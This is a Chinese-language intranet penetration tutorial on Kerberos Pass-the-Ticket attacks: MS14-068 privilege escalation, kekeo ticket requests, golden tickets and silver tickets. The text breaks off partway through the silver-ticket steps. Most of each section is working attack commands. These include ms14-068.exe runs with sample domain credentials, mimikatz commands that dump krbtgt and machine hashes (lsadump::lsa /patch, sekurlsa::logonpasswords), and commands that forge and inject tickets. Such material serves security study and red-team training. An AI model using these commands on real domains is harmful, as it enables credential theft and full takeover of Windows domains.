0x00 简介
PTH 是基于NTLM认证的,接下来我讲的 Pass the Ticket 是基于Kerberos 协议进⾏攻击的。在内网渗透中,要使⽤哈希传递攻击,则必须要获取到目标机器的管理员权限。如果没有管理员权限,我们不妨用票据传递攻击。
0x01 原理
ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的。
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)。
- 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据。
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测。
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
这里就介绍三种常见的攻击方法:MS14-068,黄金票据Golden ticket,白银SILVER ticket。
0x02 PTT攻击 MS14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
1、场景
域控未打补丁kb3011780的情况下,获取到域内普通用户的用户密码和sid,配合mimikatz将普通域用户提升至域管权限从而登录域控和所有域内机器
2、利用
- 获取普通域用户的sid、域用户名、域名、域用户密码、域控ip、一台administrator权限的域内机器
域用户的sid S-1-5-21-204891477-3814590248-2919769549-1106 域用户名 zhangfeifei 域名 fucksafe.com.cn 域用户密码 Win7@2020 域控ip 192.168.0.2 一台administrator权限的域内机器 为了有权限执行mimikatz伪造票据到内存
在普通域账户登录时,使用whoami/user得到普通域用户的sid S-1-5-21-204891477-3814590248-2919769549-1106
- 执行payload生成TGT票据(执行这个无需管理员权限,在你本机执行也可以,生成的是cache文件)
地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u zhangfeifei@fucksafe.com.cn -s S-1-5-21-204891477-3814590248-2919769549-1106 -d 192.168.0.2 -p Win7@2020
- 在域内一台administrator权限的机器上使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
把凭据注入内存成功mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_zhangfeifei@fucksafe.com.cn.ccache //将票据注入到内存中
现在使用net use等方法可以远程登录域控机器了(这里一定注意要是用域控的完整域名而不是ip,使用ip会出错)
现在内存里的凭据是域控权限,当然可以登录任意域内机器了(此时可以使用ip)0x03 PTT攻击 使用kekeo
考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket,使用kekeo
地址:https://github.com/gentilkiwi/kekeo/releases1、场景
只有没有管理员权限的域内主机的普通域用户权限2、利用
kekeo32.exe “tgt::ask /user:liubeibei /domain:fucksafe.com.cn /password:Win7@2020” kekeo32.exe “tgt::ask /user:liubeibei /domain:fucksafe.com.cn /ntlm:61addd059ee2ce94be97b0d5c31cfdf2”
使用密码或者hash都可以,错误的话会执行失败,不能生成票据
导入票据
kekeo32.exe "kerberos::ptt TGT_liubeibei@FUCKSAFE.COM.CN_krbtgt~fucksafe.com.cn@FUCKSAFE.COM.CN.kirbi"
正常来说,此时普通域用户权限已经提升到域控,可以使用net use命令尝试,但是我这里失败了(暂时原因不明)
PTT攻击 黄金票据
1、场景
获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
登录域控服务器,执行以下命令dump krbtgt的hash
privilege::debug lsadump::lsa /patch
2、利用
切换到其他域内的机器,以管理员身份登录(为了有权限执行mimikatz),执行以下命令在本机生成TGT凭证
kerberos::golden /user:administrator /domain:fucksafe.com.cn /sid:S-1-5-21-204891477-3814590248-2919769549 /krbtgt:ac2f8546804b97dc0f68aab1398bea9d /ticket
执行以下命令注入,可以使用klist查看注入的票据
kerberos::ptt ticket.kirbi
之后本机打开的cmd便有了黄金票据权限,可以通过net use登录域控和域内所有机器(登录域控要用域名不能是ip)
PTT攻击 白银票据
silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限,比如文件权限,在生成票据的时候指定。
不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把域控的ntlm hash(不是administrator,也不是kbrtgt用户的hash,而是owa也就是域控机器的hash) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
1、场景
获取到以下条件
- 域控本机owa的ntlm hash
- 域的SID值,可以使用
lsadump::lsa /patch
查看 - 普通域用户名
2、利用
执行以下命令查看域控本机owa的ntlm hashprivilege::debug sekurlsa::logonpasswords